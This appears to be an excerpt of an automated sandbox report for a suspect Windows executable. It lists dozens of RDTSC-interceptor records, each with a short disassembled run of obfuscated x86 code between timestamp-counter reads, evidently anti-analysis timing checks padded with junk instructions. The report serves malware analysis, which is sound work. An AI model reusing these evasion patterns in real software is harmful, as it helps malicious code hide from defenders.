Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114F776 second address: 114F7CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F020CB267F4h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jne 00007F020CB26814h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114F7CC second address: 114F7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114F7D2 second address: 114F7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114FDBF second address: 114FDC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114FDC4 second address: 114FDC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114FDC9 second address: 114FDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Ah 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jbe 00007F020CB2844Eh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114FF2C second address: 114FF57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pushad 0x00000008 jmp 00007F020CB267F3h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114FF57 second address: 114FF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115058E second address: 1150596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1150596 second address: 11505BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F020CB28446h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F020CB28456h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11505BB second address: 11505D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EFh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11505D4 second address: 11505E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11505E0 second address: 11505E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11505E6 second address: 1150624 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F020CB2844Ch 0x00000012 jmp 00007F020CB2844Fh 0x00000017 popad 0x00000018 jmp 00007F020CB28452h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115102E second address: 1151048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151048 second address: 1151072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Dh 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F020CB28453h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151072 second address: 1151078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11511C3 second address: 11511F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB28446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F020CB2848Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F020CB28446h 0x0000001a jmp 00007F020CB28457h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11511F4 second address: 11511FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11511FA second address: 1151206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1155E8C second address: 1155E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1155E90 second address: 1155E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1155E96 second address: 1155E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1156309 second address: 1156310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115541A second address: 1155420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11578EB second address: 11578F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11578F1 second address: 11578F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11578F9 second address: 1157906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F020CB28446h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1157906 second address: 115790B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112394F second address: 1123953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115D78B second address: 115D78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115D904 second address: 115D944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F020CB28446h 0x0000000a popad 0x0000000b jmp 00007F020CB28452h 0x00000010 jng 00007F020CB28448h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jc 00007F020CB28446h 0x0000001f jmp 00007F020CB28452h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E1A9 second address: 115E1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E1AD second address: 115E1CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E291 second address: 115E2C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB267F8h 0x00000008 jbe 00007F020CB267E6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F020CB267EAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E2C5 second address: 115E2FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jne 00007F020CB2844Ch 0x00000012 pushad 0x00000013 jmp 00007F020CB2844Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E756 second address: 115E75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E864 second address: 115E868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E868 second address: 115E87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jl 00007F020CB267E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115E87A second address: 115E882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115EF1A second address: 115EF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115EF1E second address: 115EF27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115EF27 second address: 115EF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F020CB267E8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F0D3 second address: 115F0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F0D8 second address: 115F0E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F020CB267E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F253 second address: 115F258 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F258 second address: 115F26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F020CB267E8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F26A second address: 115F26F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F331 second address: 115F337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F5FE second address: 115F602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115F602 second address: 115F611 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1160C30 second address: 1160C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1161D65 second address: 1161D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116489F second address: 11648A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11648A4 second address: 11648AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F020CB267E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11648AE second address: 11648CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11648CF second address: 11648D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11625EB second address: 1162608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28459h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1169F34 second address: 1169F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 add bx, F745h 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D260Ah], ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F020CB267E8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 movzx ebx, di 0x00000035 sub dword ptr [ebp+122D2B67h], ebx 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1169F77 second address: 1169F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F020CB28450h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116AF05 second address: 116AF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F020CB267ECh 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116AF1D second address: 116AF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116AF21 second address: 116AFBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F020CB267E8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jng 00007F020CB267ECh 0x00000028 or dword ptr [ebp+1247BF0Dh], ebx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F020CB267E8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D370Dh] 0x00000050 mov bl, 6Bh 0x00000052 push 00000000h 0x00000054 mov di, dx 0x00000057 xchg eax, esi 0x00000058 jns 00007F020CB267FBh 0x0000005e push eax 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F020CB267F8h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116BF2C second address: 116BF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116BF32 second address: 116BF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116F04B second address: 116F055 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116F055 second address: 116F0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F020CB267F1h 0x0000000c nop 0x0000000d jmp 00007F020CB267EFh 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 jc 00007F020CB267E6h 0x0000001e xchg eax, esi 0x0000001f jl 00007F020CB267F0h 0x00000025 jmp 00007F020CB267EAh 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116F0A0 second address: 116F0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB2844Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116B215 second address: 116B232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116C179 second address: 116C17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116D1A4 second address: 116D1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116B232 second address: 116B251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116B251 second address: 116B25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F020CB267E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1170096 second address: 11700A0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11700A0 second address: 1170124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F020CB267EBh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F020CB267E8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movzx edi, ax 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F020CB267E8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D231Fh], eax 0x0000004c push 00000000h 0x0000004e or dword ptr [ebp+122D2B67h], esi 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 push ecx 0x00000057 jmp 00007F020CB267EBh 0x0000005c pop ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F020CB267F2h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1170124 second address: 1170128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1170128 second address: 117014B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F020CB267F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F020CB267E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117115C second address: 11711EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F020CB28448h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 call 00007F020CB28451h 0x0000002a call 00007F020CB2844Ah 0x0000002f jmp 00007F020CB2844Eh 0x00000034 pop ebx 0x00000035 pop ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F020CB28448h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 push esi 0x00000055 mov dword ptr [ebp+1247D4C1h], edx 0x0000005b pop edi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push ebx 0x00000062 pop ebx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11711EB second address: 11711F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117212B second address: 1172131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1172131 second address: 1172135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1172135 second address: 11721D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F020CB28454h 0x0000000f pushad 0x00000010 jng 00007F020CB28446h 0x00000016 jc 00007F020CB28446h 0x0000001c popad 0x0000001d nop 0x0000001e ja 00007F020CB2845Ah 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F020CB28448h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 clc 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ecx 0x00000046 call 00007F020CB28448h 0x0000004b pop ecx 0x0000004c mov dword ptr [esp+04h], ecx 0x00000050 add dword ptr [esp+04h], 00000019h 0x00000058 inc ecx 0x00000059 push ecx 0x0000005a ret 0x0000005b pop ecx 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e jno 00007F020CB28450h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jc 00007F020CB28448h 0x0000006d push eax 0x0000006e pop eax 0x0000006f rdtsc
